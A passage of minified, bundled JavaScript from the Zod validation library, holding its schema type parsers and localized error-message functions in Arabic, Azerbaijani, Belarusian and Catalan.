q.issues.push({expected:"symbol",code:"invalid_type",input:z,inst:A}),q}}),xF1=_6("$ZodUndefined",(A,K)=>{O5.init(A,K),A._zod.pattern=Bg1,A._zod.values=new Set([void 0]),A._zod.optin="optional",A._zod.optout="optional",A._zod.parse=(q,Y)=>{let z=q.value;if(typeof z>"u")return q;return q.issues.push({expected:"undefined",code:"invalid_type",input:z,inst:A}),q}}),uF1=_6("$ZodNull",(A,K)=>{O5.init(A,K),A._zod.pattern=ug1,A._zod.values=new Set([null]),A._zod.parse=(q,Y)=>{let z=q.value;if(z===null)return q;return q.issues.push({expected:"null",code:"invalid_type",input:z,inst:A}),q}}),BF1=_6("$ZodAny",(A,K)=>{O5.init(A,K),A._zod.parse=(q)=>q}),QHA=_6("$ZodUnknown",(A,K)=>{O5.init(A,K),A._zod.parse=(q)=>q}),mF1=_6("$ZodNever",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{return q.issues.push({expected:"never",code:"invalid_type",input:q.value,inst:A}),q}}),gF1=_6("$ZodVoid",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{let z=q.value;if(typeof z>"u")return q;return q.issues.push({expected:"void",code:"invalid_type",input:z,inst:A}),q}}),FF1=_6("$ZodDate",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{if(K.coerce)try{q.value=new Date(q.value)}catch(J){}let z=q.value,w=z instanceof Date;if(w&&!Number.isNaN(z.getTime()))return q;return q.issues.push({expected:"date",code:"invalid_type",input:z,...w?{received:"Invalid Date"}:{},inst:A}),q}});DEA=_6("$ZodArray",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{let z=q.value;if(!Array.isArray(z))return q.issues.push({expected:"array",code:"invalid_type",input:z,inst:A}),q;q.value=Array(z.length);let w=[];for(let H=0;H<z.length;H++){let J=z[H],O=K.element._zod.run({value:J,issues:[]},Y);if(O instanceof Promise)w.push(O.then((X)=>oC8(X,q,H)));else oC8(O,q,H)}if(w.length)return Promise.all(w).then(()=>q);return q}});QF1=_6("$ZodObject",(A,K)=>{O5.init(A,K);let q=YEA(()=>{let _=Object.keys(K.shape);for(let Z of _)if(!(K.shape[Z]instanceof O5))throw Error(`Invalid element at key "${Z}": expected a Zod schema`);let G=Yg1(K.shape);return{shape:K.shape,keys:_,keySet:new Set(_),numKeys:_.length,optionalKeys:new Set(G)}});X2(A._zod,"propValues",()=>{let _=K.shape,G={};for(let Z in _){let W=_[Z]._zod;if(W.values){G[Z]??(G[Z]=new Set);for(let D of W.values)G[Z].add(D)}}return G});let Y=(_)=>{let G=new jeA(["shape","payload","ctx"]),Z=q.value,W=(P)=>{let f=W6A(P);return`shape[${f}]._zod.run({ value: input[${f}], issues: [] }, ctx)`};G.write("const input = payload.value;");let D=Object.create(null),j=0;for(let P of Z.keys)D[P]=`key_${j++}`;G.write("const newResult = {}");for(let P of Z.keys)if(Z.optionalKeys.has(P)){let f=D[P];G.write(`const ${f} = ${W(P)};`);let N=W6A(P);G.write(` if (${f}.issues.length) { if (input[${N}] === undefined) { if (${N} in input) { newResult[${N}] = undefined; } } else { payload.issues = payload.issues.concat( ${f}.issues.map((iss) => ({ ...iss, path: iss.path ? [${N}, ...iss.path] : [${N}], })) ); } } else if (${f}.value === undefined) { if (${N} in input) newResult[${N}] = undefined; } else { newResult[${N}] = ${f}.value; } `)}else{let f=D[P];G.write(`const ${f} = ${W(P)};`),G.write(` if (${f}.issues.length) payload.issues = payload.issues.concat(${f}.issues.map(iss => ({ ...iss, path: iss.path ? [${W6A(P)}, ...iss.path] : [${W6A(P)}] })));`),G.write(`newResult[${W6A(P)}] = ${f}.value`)}G.write("payload.value = newResult;"),G.write("return payload;");let M=G.compile();return(P,f)=>M(_,P,f)},z,w=uHA,H=!evA.jitless,O=H&&Kg1.value,X=K.catchall,$;A._zod.parse=(_,G)=>{$??($=q.value);let Z=_.value;if(!w(Z))return _.issues.push({expected:"object",code:"invalid_type",input:Z,inst:A}),_;let W=[];if(H&&O&&G?.async===!1&&G.jitless!==!0){if(!z)z=Y(K.shape);_=z(_,G)}else{_.value={};let f=$.shape;for(let N of $.keys){let T=f[N],C=T._zod.run({value:Z[N],issues:[]},G),R=T._zod.optin==="optional"&&T._zod.optout==="optional";if(C instanceof Promise)W.push(C.then((x)=>R?aC8(x,_,N,Z):MeA(x,_,N)));else if(R)aC8(C,_,N,Z);else MeA(C,_,N)}}if(!X)return W.length?Promise.all(W).then(()=>_):_;let D=[],j=$.keySet,M=X._zod,P=M.def.type;for(let f of Object.keys(Z)){if(j.has(f))continue;if(P==="never"){D.push(f);continue}let N=M.run({value:Z[f],issues:[]},G);if(N instanceof Promise)W.push(N.then((T)=>MeA(T,_,f)));else MeA(N,_,f)}if(D.length)_.issues.push({code:"unrecognized_keys",keys:D,input:Z,inst:A});if(!W.length)return _;return Promise.all(W).then(()=>{return _})}});NeA=_6("$ZodUnion",(A,K)=>{O5.init(A,K),X2(A._zod,"optin",()=>K.options.some((q)=>q._zod.optin==="optional")?"optional":void 0),X2(A._zod,"optout",()=>K.options.some((q)=>q._zod.optout==="optional")?"optional":void 0),X2(A._zod,"values",()=>{if(K.options.every((q)=>q._zod.values))return new Set(K.options.flatMap((q)=>Array.from(q._zod.values)));return}),X2(A._zod,"pattern",()=>{if(K.options.every((q)=>q._zod.pattern)){let q=K.options.map((Y)=>Y._zod.pattern);return new RegExp(`^(${q.map((Y)=>zEA(Y.source)).join("|")})$`)}return}),A._zod.parse=(q,Y)=>{let z=!1,w=[];for(let H of K.options){let J=H._zod.run({value:q.value,issues:[]},Y);if(J instanceof Promise)w.push(J),z=!0;else{if(J.issues.length===0)return J;w.push(J)}}if(!z)return sC8(w,q,A,Y);return Promise.all(w).then((H)=>{return sC8(H,q,A,Y)})}}),UF1=_6("$ZodDiscriminatedUnion",(A,K)=>{NeA.init(A,K);let q=A._zod.parse;X2(A._zod,"propValues",()=>{let z={};for(let w of K.options){let H=w._zod.propValues;if(!H||Object.keys(H).length===0)throw Error(`Invalid discriminated union option at index "${K.options.indexOf(w)}"`);for(let[J,O]of Object.entries(H)){if(!z[J])z[J]=new Set;for(let X of O)z[J].add(X)}}return z});let Y=YEA(()=>{let z=K.options,w=new Map;for(let H of z){let J=H._zod.propValues[K.discriminator];if(!J||J.size===0)throw Error(`Invalid discriminated union option at index "${K.options.indexOf(H)}"`);for(let O of J){if(w.has(O))throw Error(`Duplicate discriminator value "${String(O)}"`);w.set(O,H)}}return w});A._zod.parse=(z,w)=>{let H=z.value;if(!uHA(H))return z.issues.push({code:"invalid_type",expected:"object",input:H,inst:A}),z;let J=Y.value.get(H?.[K.discriminator]);if(J)return J._zod.run(z,w);if(K.unionFallback)return q(z,w);return z.issues.push({code:"invalid_union",errors:[],note:"No matching discriminator",input:H,path:[K.discriminator],inst:A}),z}}),pF1=_6("$ZodIntersection",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{let z=q.value,w=K.left._zod.run({value:z,issues:[]},Y),H=K.right._zod.run({value:z,issues:[]},Y);if(w instanceof Promise||H instanceof Promise)return Promise.all([w,H]).then(([O,X])=>{return tC8(q,O,X)});return tC8(q,w,H)}});V6A=_6("$ZodTuple",(A,K)=>{O5.init(A,K);let q=K.items,Y=q.length-[...q].reverse().findIndex((z)=>z._zod.optin!=="optional");A._zod.parse=(z,w)=>{let H=z.value;if(!Array.isArray(H))return z.issues.push({input:H,inst:A,expected:"tuple",code:"invalid_type"}),z;z.value=[];let J=[];if(!K.rest){let X=H.length>q.length,$=H.length<Y-1;if(X||$)return z.issues.push({input:H,inst:A,origin:"array",...X?{code:"too_big",maximum:q.length}:{code:"too_small",minimum:q.length}}),z}let O=-1;for(let X of q){if(O++,O>=H.length){if(O>=Y)continue}let $=X._zod.run({value:H[O],issues:[]},w);if($ instanceof Promise)J.push($.then((_)=>PeA(_,z,O)));else PeA($,z,O)}if(K.rest){let X=H.slice(q.length);for(let $ of X){O++;let _=K.rest._zod.run({value:$,issues:[]},w);if(_ instanceof Promise)J.push(_.then((G)=>PeA(G,z,O)));else PeA(_,z,O)}}if(J.length)return Promise.all(J).then(()=>z);return z}});dF1=_6("$ZodRecord",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{let z=q.value;if(!BHA(z))return q.issues.push({expected:"record",code:"invalid_type",input:z,inst:A}),q;let w=[];if(K.keyType._zod.values){let H=K.keyType._zod.values;q.value={};for(let O of H)if(typeof O==="string"||typeof O==="number"||typeof O==="symbol"){let X=K.valueType._zod.run({value:z[O],issues:[]},Y);if(X instanceof Promise)w.push(X.then(($)=>{if($.issues.length)q.issues.push(...$V(O,$.issues));q.value[O]=$.value}));else{if(X.issues.length)q.issues.push(...$V(O,X.issues));q.value[O]=X.value}}let J;for(let O in z)if(!H.has(O))J=J??[],J.push(O);if(J&&J.length>0)q.issues.push({code:"unrecognized_keys",input:z,inst:A,keys:J})}else{q.value={};for(let H of Reflect.ownKeys(z)){if(H==="__proto__")continue;let J=K.keyType._zod.run({value:H,issues:[]},Y);if(J instanceof Promise)throw Error("Async schemas not supported in object keys currently");if(J.issues.length){q.issues.push({origin:"record",code:"invalid_key",issues:J.issues.map((X)=>nN(X,Y,UX())),input:H,path:[H],inst:A}),q.value[J.value]=J.value;continue}let O=K.valueType._zod.run({value:z[H],issues:[]},Y);if(O instanceof Promise)w.push(O.then((X)=>{if(X.issues.length)q.issues.push(...$V(H,X.issues));q.value[J.value]=X.value}));else{if(O.issues.length)q.issues.push(...$V(H,O.issues));q.value[J.value]=O.value}}}if(w.length)return Promise.all(w).then(()=>q);return q}}),cF1=_6("$ZodMap",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{let z=q.value;if(!(z instanceof Map))return q.issues.push({expected:"map",code:"invalid_type",input:z,inst:A}),q;let w=[];q.value=new Map;for(let[H,J]of z){let O=K.keyType._zod.run({value:H,issues:[]},Y),X=K.valueType._zod.run({value:J,issues:[]},Y);if(O instanceof Promise||X instanceof Promise)w.push(Promise.all([O,X]).then(([$,_])=>{eC8($,_,q,H,z,A,Y)}));else eC8(O,X,q,H,z,A,Y)}if(w.length)return Promise.all(w).then(()=>q);return q}});lF1=_6("$ZodSet",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{let z=q.value;if(!(z instanceof Set))return q.issues.push({input:z,inst:A,expected:"set",code:"invalid_type"}),q;let w=[];q.value=new Set;for(let H of z){let J=K.valueType._zod.run({value:H,issues:[]},Y);if(J instanceof Promise)w.push(J.then((O)=>AL8(O,q)));else AL8(J,q)}if(w.length)return Promise.all(w).then(()=>q);return q}});iF1=_6("$ZodEnum",(A,K)=>{O5.init(A,K);let q=qEA(K.entries);A._zod.values=new Set(q),A._zod.pattern=new RegExp(`^(${q.filter((Y)=>wEA.has(typeof Y)).map((Y)=>typeof Y==="string"?ZF(Y):Y.toString()).join("|")})$`),A._zod.parse=(Y,z)=>{let w=Y.value;if(A._zod.values.has(w))return Y;return Y.issues.push({code:"invalid_value",values:q,input:w,inst:A}),Y}}),nF1=_6("$ZodLiteral",(A,K)=>{O5.init(A,K),A._zod.values=new Set(K.values),A._zod.pattern=new RegExp(`^(${K.values.map((q)=>typeof q==="string"?ZF(q):q?q.toString():String(q)).join("|")})$`),A._zod.parse=(q,Y)=>{let z=q.value;if(A._zod.values.has(z))return q;return q.issues.push({code:"invalid_value",values:K.values,input:z,inst:A}),q}}),rF1=_6("$ZodFile",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{let z=q.value;if(z instanceof File)return q;return q.issues.push({expected:"file",code:"invalid_type",input:z,inst:A}),q}}),jEA=_6("$ZodTransform",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{let z=K.transform(q.value,q);if(Y.async)return(z instanceof Promise?z:Promise.resolve(z)).then((H)=>{return q.value=H,q});if(z instanceof Promise)throw new GF;return q.value=z,q}}),oF1=_6("$ZodOptional",(A,K)=>{O5.init(A,K),A._zod.optin="optional",A._zod.optout="optional",X2(A._zod,"values",()=>{return K.innerType._zod.values?new Set([...K.innerType._zod.values,void 0]):void 0}),X2(A._zod,"pattern",()=>{let q=K.innerType._zod.pattern;return q?new RegExp(`^(${zEA(q.source)})?$`):void 0}),A._zod.parse=(q,Y)=>{if(K.innerType._zod.optin==="optional")return K.innerType._zod.run(q,Y);if(q.value===void 0)return q;return K.innerType._zod.run(q,Y)}}),aF1=_6("$ZodNullable",(A,K)=>{O5.init(A,K),X2(A._zod,"optin",()=>K.innerType._zod.optin),X2(A._zod,"optout",()=>K.innerType._zod.optout),X2(A._zod,"pattern",()=>{let q=K.innerType._zod.pattern;return q?new RegExp(`^(${zEA(q.source)}|null)$`):void 0}),X2(A._zod,"values",()=>{return K.innerType._zod.values?new Set([...K.innerType._zod.values,null]):void 0}),A._zod.parse=(q,Y)=>{if(q.value===null)return q;return K.innerType._zod.run(q,Y)}}),sF1=_6("$ZodDefault",(A,K)=>{O5.init(A,K),A._zod.optin="optional",X2(A._zod,"values",()=>K.innerType._zod.values),A._zod.parse=(q,Y)=>{if(q.value===void 0)return q.value=K.defaultValue,q;let z=K.innerType._zod.run(q,Y);if(z instanceof Promise)return z.then((w)=>KL8(w,K));return KL8(z,K)}});tF1=_6("$ZodPrefault",(A,K)=>{O5.init(A,K),A._zod.optin="optional",X2(A._zod,"values",()=>K.innerType._zod.values),A._zod.parse=(q,Y)=>{if(q.value===void 0)q.value=K.defaultValue;return K.innerType._zod.run(q,Y)}}),eF1=_6("$ZodNonOptional",(A,K)=>{O5.init(A,K),X2(A._zod,"values",()=>{let q=K.innerType._zod.values;return q?new Set([...q].filter((Y)=>Y!==void 0)):void 0}),A._zod.parse=(q,Y)=>{let z=K.innerType._zod.run(q,Y);if(z instanceof Promise)return z.then((w)=>qL8(w,A));return qL8(z,A)}});AQ1=_6("$ZodSuccess",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{let z=K.innerType._zod.run(q,Y);if(z instanceof Promise)return z.then((w)=>{return q.value=w.issues.length===0,q});return q.value=z.issues.length===0,q}}),KQ1=_6("$ZodCatch",(A,K)=>{O5.init(A,K),A._zod.optin="optional",X2(A._zod,"optout",()=>K.innerType._zod.optout),X2(A._zod,"values",()=>K.innerType._zod.values),A._zod.parse=(q,Y)=>{let z=K.innerType._zod.run(q,Y);if(z instanceof Promise)return z.then((w)=>{if(q.value=w.value,w.issues.length)q.value=K.catchValue({...q,error:{issues:w.issues.map((H)=>nN(H,Y,UX()))},input:q.value}),q.issues=[];return q});if(q.value=z.value,z.issues.length)q.value=K.catchValue({...q,error:{issues:z.issues.map((w)=>nN(w,Y,UX()))},input:q.value}),q.issues=[];return q}}),qQ1=_6("$ZodNaN",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{if(typeof q.value!=="number"||!Number.isNaN(q.value))return q.issues.push({input:q.value,inst:A,expected:"nan",code:"invalid_type"}),q;return q}}),MEA=_6("$ZodPipe",(A,K)=>{O5.init(A,K),X2(A._zod,"values",()=>K.in._zod.values),X2(A._zod,"optin",()=>K.in._zod.optin),X2(A._zod,"optout",()=>K.out._zod.optout),A._zod.parse=(q,Y)=>{let z=K.in._zod.run(q,Y);if(z instanceof Promise)return z.then((w)=>YL8(w,K,Y));return YL8(z,K,Y)}});YQ1=_6("$ZodReadonly",(A,K)=>{O5.init(A,K),X2(A._zod,"propValues",()=>K.innerType._zod.propValues),X2(A._zod,"values",()=>K.innerType._zod.values),X2(A._zod,"optin",()=>K.innerType._zod.optin),X2(A._zod,"optout",()=>K.innerType._zod.optout),A._zod.parse=(q,Y)=>{let z=K.innerType._zod.run(q,Y);if(z instanceof Promise)return z.then(zL8);return zL8(z)}});zQ1=_6("$ZodTemplateLiteral",(A,K)=>{O5.init(A,K);let q=[];for(let Y of K.parts)if(Y instanceof O5){if(!Y._zod.pattern)throw Error(`Invalid template literal part, no pattern found: ${[...Y._zod.traits].shift()}`);let z=Y._zod.pattern instanceof RegExp?Y._zod.pattern.source:Y._zod.pattern;if(!z)throw Error(`Invalid template literal part: ${Y._zod.traits}`);let w=z.startsWith("^")?1:0,H=z.endsWith("$")?z.length-1:z.length;q.push(z.slice(w,H))}else if(Y===null||qg1.has(typeof Y))q.push(ZF(`${Y}`));else throw Error(`Invalid template literal part: ${Y}`);A._zod.pattern=new RegExp(`^${q.join("")}$`),A._zod.parse=(Y,z)=>{if(typeof Y.value!=="string")return Y.issues.push({input:Y.value,inst:A,expected:"template_literal",code:"invalid_type"}),Y;if(A._zod.pattern.lastIndex=0,!A._zod.pattern.test(Y.value))return Y.issues.push({input:Y.value,inst:A,code:"invalid_format",format:"template_literal",pattern:A._zod.pattern.source}),Y;return Y}}),wQ1=_6("$ZodPromise",(A,K)=>{O5.init(A,K),A._zod.parse=(q,Y)=>{return Promise.resolve(q.value).then((z)=>K.innerType._zod.run({value:z,issues:[]},Y))}}),HQ1=_6("$ZodLazy",(A,K)=>{O5.init(A,K),X2(A._zod,"innerType",()=>K.getter()),X2(A._zod,"pattern",()=>A._zod.innerType._zod.pattern),X2(A._zod,"propValues",()=>A._zod.innerType._zod.propValues),X2(A._zod,"optin",()=>A._zod.innerType._zod.optin),X2(A._zod,"optout",()=>A._zod.innerType._zod.optout),A._zod.parse=(q,Y)=>{return A._zod.innerType._zod.run(q,Y)}}),JQ1=_6("$ZodCustom",(A,K)=>{KO.init(A,K),O5.init(A,K),A._zod.parse=(q,Y)=>{return q},A._zod.check=(q)=>{let Y=q.value,z=K.fn(Y);if(z instanceof Promise)return z.then((w)=>wL8(w,q,Y,A));wL8(z,q,Y,A);return}})});function OQ1(){return{localeError:xK5()}}var xK5=()=>{let A={string:{unit:"حرف",verb:"أن يحوي"},file:{unit:"بايت",verb:"أن يحوي"},array:{unit:"عنصر",verb:"أن يحوي"},set:{unit:"عنصر",verb:"أن يحوي"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"number";case"object":{if(Array.isArray(z))return"array";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"مدخل",email:"بريد إلكتروني",url:"رابط",emoji:"إيموجي",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"تاريخ ووقت بمعيار ISO",date:"تاريخ بمعيار ISO",time:"وقت بمعيار ISO",duration:"مدة بمعيار ISO",ipv4:"عنوان IPv4",ipv6:"عنوان IPv6",cidrv4:"مدى عناوين بصيغة IPv4",cidrv6:"مدى عناوين بصيغة IPv6",base64:"نَص بترميز base64-encoded",base64url:"نَص بترميز base64url-encoded",json_string:"نَص على هيئة JSON",e164:"رقم هاتف بمعيار E.164",jwt:"JWT",template_literal:"مدخل"};return(z)=>{switch(z.code){case"invalid_type":return`مدخلات غير مقبولة: يفترض إدخال ${z.expected}، ولكن تم إدخال ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`مدخلات غير مقبولة: يفترض إدخال ${B4(z.values[0])}`;return`اختيار غير مقبول: يتوقع انتقاء أحد هذه الخيارات: ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return` أكبر من اللازم: يفترض أن تكون ${z.origin??"القيمة"} ${w} ${z.maximum.toString()} ${H.unit??"عنصر"}`;return`أكبر من اللازم: يفترض أن تكون ${z.origin??"القيمة"} ${w} ${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`أصغر من اللازم: يفترض لـ ${z.origin} أن يكون ${w} ${z.minimum.toString()} ${H.unit}`;return`أصغر من اللازم: يفترض لـ ${z.origin} أن يكون ${w} ${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`نَص غير مقبول: يجب أن يبدأ بـ "${z.prefix}"`;if(w.format==="ends_with")return`نَص غير مقبول: يجب أن ينتهي بـ "${w.suffix}"`;if(w.format==="includes")return`نَص غير مقبول: يجب أن يتضمَّن "${w.includes}"`;if(w.format==="regex")return`نَص غير مقبول: يجب أن يطابق النمط ${w.pattern}`;return`${Y[w.format]??z.format} غير مقبول`}case"not_multiple_of":return`رقم غير مقبول: يجب أن يكون من مضاعفات ${z.divisor}`;case"unrecognized_keys":return`معرف${z.keys.length>1?"ات":""} غريب${z.keys.length>1?"ة":""}: ${z8(z.keys,"، ")}`;case"invalid_key":return`معرف غير مقبول في ${z.origin}`;case"invalid_union":return"مدخل غير مقبول";case"invalid_element":return`مدخل غير مقبول في ${z.origin}`;default:return"مدخل غير مقبول"}}};var XL8=k(()=>{Qq()});function XQ1(){return{localeError:uK5()}}var uK5=()=>{let A={string:{unit:"simvol",verb:"olmalıdır"},file:{unit:"bayt",verb:"olmalıdır"},array:{unit:"element",verb:"olmalıdır"},set:{unit:"element",verb:"olmalıdır"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"number";case"object":{if(Array.isArray(z))return"array";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"input",email:"email address",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO datetime",date:"ISO date",time:"ISO time",duration:"ISO duration",ipv4:"IPv4 address",ipv6:"IPv6 address",cidrv4:"IPv4 range",cidrv6:"IPv6 range",base64:"base64-encoded string",base64url:"base64url-encoded string",json_string:"JSON string",e164:"E.164 number",jwt:"JWT",template_literal:"input"};return(z)=>{switch(z.code){case"invalid_type":return`Yanlış dəyər: gözlənilən ${z.expected}, daxil olan ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Yanlış dəyər: gözlənilən ${B4(z.values[0])}`;return`Yanlış seçim: aşağıdakılardan biri olmalıdır: ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H)return`Çox böyük: gözlənilən ${z.origin??"dəyər"} ${w}${z.maximum.toString()} ${H.unit??"element"}`;return`Çox böyük: gözlənilən ${z.origin??"dəyər"} ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H)return`Çox kiçik: gözlənilən ${z.origin} ${w}${z.minimum.toString()} ${H.unit}`;return`Çox kiçik: gözlənilən ${z.origin} ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Yanlış mətn: "${w.prefix}" ilə başlamalıdır`;if(w.format==="ends_with")return`Yanlış mətn: "${w.suffix}" ilə bitməlidir`;if(w.format==="includes")return`Yanlış mətn: "${w.includes}" daxil olmalıdır`;if(w.format==="regex")return`Yanlış mətn: ${w.pattern} şablonuna uyğun olmalıdır`;return`Yanlış ${Y[w.format]??z.format}`}case"not_multiple_of":return`Yanlış ədəd: ${z.divisor} ilə bölünə bilən olmalıdır`;case"unrecognized_keys":return`Tanınmayan açar${z.keys.length>1?"lar":""}: ${z8(z.keys,", ")}`;case"invalid_key":return`${z.origin} daxilində yanlış açar`;case"invalid_union":return"Yanlış dəyər";case"invalid_element":return`${z.origin} daxilində yanlış dəyər`;default:return"Yanlış dəyər"}}};var $L8=k(()=>{Qq()});function _L8(A,K,q,Y){let z=Math.abs(A),w=z%10,H=z%100;if(H>=11&&H<=19)return Y;if(w===1)return K;if(w>=2&&w<=4)return q;return Y}function $Q1(){return{localeError:BK5()}}var BK5=()=>{let A={string:{unit:{one:"сімвал",few:"сімвалы",many:"сімвалаў"},verb:"мець"},array:{unit:{one:"элемент",few:"элементы",many:"элементаў"},verb:"мець"},set:{unit:{one:"элемент",few:"элементы",many:"элементаў"},verb:"мець"},file:{unit:{one:"байт",few:"байты",many:"байтаў"},verb:"мець"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"лік";case"object":{if(Array.isArray(z))return"масіў";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"увод",email:"email адрас",url:"URL",emoji:"эмодзі",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"ISO дата і час",date:"ISO дата",time:"ISO час",duration:"ISO працягласць",ipv4:"IPv4 адрас",ipv6:"IPv6 адрас",cidrv4:"IPv4 дыяпазон",cidrv6:"IPv6 дыяпазон",base64:"радок у фармаце base64",base64url:"радок у фармаце base64url",json_string:"JSON радок",e164:"нумар E.164",jwt:"JWT",template_literal:"увод"};return(z)=>{switch(z.code){case"invalid_type":return`Няправільны ўвод: чакаўся ${z.expected}, атрымана ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Няправільны ўвод: чакалася ${B4(z.values[0])}`;return`Няправільны варыянт: чакаўся адзін з ${z8(z.values,"|")}`;case"too_big":{let w=z.inclusive?"<=":"<",H=K(z.origin);if(H){let J=Number(z.maximum),O=_L8(J,H.unit.one,H.unit.few,H.unit.many);return`Занадта вялікі: чакалася, што ${z.origin??"значэнне"} павінна ${H.verb} ${w}${z.maximum.toString()} ${O}`}return`Занадта вялікі: чакалася, што ${z.origin??"значэнне"} павінна быць ${w}${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?">=":">",H=K(z.origin);if(H){let J=Number(z.minimum),O=_L8(J,H.unit.one,H.unit.few,H.unit.many);return`Занадта малы: чакалася, што ${z.origin} павінна ${H.verb} ${w}${z.minimum.toString()} ${O}`}return`Занадта малы: чакалася, што ${z.origin} павінна быць ${w}${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Няправільны радок: павінен пачынацца з "${w.prefix}"`;if(w.format==="ends_with")return`Няправільны радок: павінен заканчвацца на "${w.suffix}"`;if(w.format==="includes")return`Няправільны радок: павінен змяшчаць "${w.includes}"`;if(w.format==="regex")return`Няправільны радок: павінен адпавядаць шаблону ${w.pattern}`;return`Няправільны ${Y[w.format]??z.format}`}case"not_multiple_of":return`Няправільны лік: павінен быць кратным ${z.divisor}`;case"unrecognized_keys":return`Нераспазнаны ${z.keys.length>1?"ключы":"ключ"}: ${z8(z.keys,", ")}`;case"invalid_key":return`Няправільны ключ у ${z.origin}`;case"invalid_union":return"Няправільны ўвод";case"invalid_element":return`Няправільнае значэнне ў ${z.origin}`;default:return"Няправільны ўвод"}}};var GL8=k(()=>{Qq()});function _Q1(){return{localeError:mK5()}}var mK5=()=>{let A={string:{unit:"caràcters",verb:"contenir"},file:{unit:"bytes",verb:"contenir"},array:{unit:"elements",verb:"contenir"},set:{unit:"elements",verb:"contenir"}};function K(z){return A[z]??null}let q=(z)=>{let w=typeof z;switch(w){case"number":return Number.isNaN(z)?"NaN":"number";case"object":{if(Array.isArray(z))return"array";if(z===null)return"null";if(Object.getPrototypeOf(z)!==Object.prototype&&z.constructor)return z.constructor.name}}return w},Y={regex:"entrada",email:"adreça electrònica",url:"URL",emoji:"emoji",uuid:"UUID",uuidv4:"UUIDv4",uuidv6:"UUIDv6",nanoid:"nanoid",guid:"GUID",cuid:"cuid",cuid2:"cuid2",ulid:"ULID",xid:"XID",ksuid:"KSUID",datetime:"data i hora ISO",date:"data ISO",time:"hora ISO",duration:"durada ISO",ipv4:"adreça IPv4",ipv6:"adreça IPv6",cidrv4:"rang IPv4",cidrv6:"rang IPv6",base64:"cadena codificada en base64",base64url:"cadena codificada en base64url",json_string:"cadena JSON",e164:"número E.164",jwt:"JWT",template_literal:"entrada"};return(z)=>{switch(z.code){case"invalid_type":return`Tipus invàlid: s'esperava ${z.expected}, s'ha rebut ${q(z.input)}`;case"invalid_value":if(z.values.length===1)return`Valor invàlid: s'esperava ${B4(z.values[0])}`;return`Opció invàlida: s'esperava una de ${z8(z.values," o ")}`;case"too_big":{let w=z.inclusive?"com a màxim":"menys de",H=K(z.origin);if(H)return`Massa gran: s'esperava que ${z.origin??"el valor"} contingués ${w} ${z.maximum.toString()} ${H.unit??"elements"}`;return`Massa gran: s'esperava que ${z.origin??"el valor"} fos ${w} ${z.maximum.toString()}`}case"too_small":{let w=z.inclusive?"com a mínim":"més de",H=K(z.origin);if(H)return`Massa petit: s'esperava que ${z.origin} contingués ${w} ${z.minimum.toString()} ${H.unit}`;return`Massa petit: s'esperava que ${z.origin} fos ${w} ${z.minimum.toString()}`}case"invalid_format":{let w=z;if(w.format==="starts_with")return`Format invàlid: ha de començar amb "${w.prefix}"`;if(w.format==="ends_with")return`Format invàlid: ha d'acabar amb "${w.suffix}"`;if(w.format==="includes")return`Format invàlid: ha d'incloure "${w.includes}"`;if(w.format==="regex")return`Format invàlid: ha de coincidir amb el patró ${w.pattern}`;return`Format invàlid per a ${Y[w.format]??z.format}`}case"not_multiple_of":return`Número invàlid: ha de ser múltiple de ${z.divisor}`;case"unrecognized_keys":return`Clau${z.keys.length>1?"s":""} no reconeguda${z.keys.length>1?"s":""}: ${z8(z.keys,", ")}`;case"invalid_key":return`Clau invàlida a ${z.origin}`;case"invalid_union":return"Entrada invàlida";case"invalid_element":return`Element invàlid a ${z.origin}`;default:return"Entrada invàlida"}}};var ZL8=k(()=>{Qq()});function GQ1(){return{localeError:gK5()}}var gK5=()=>{let 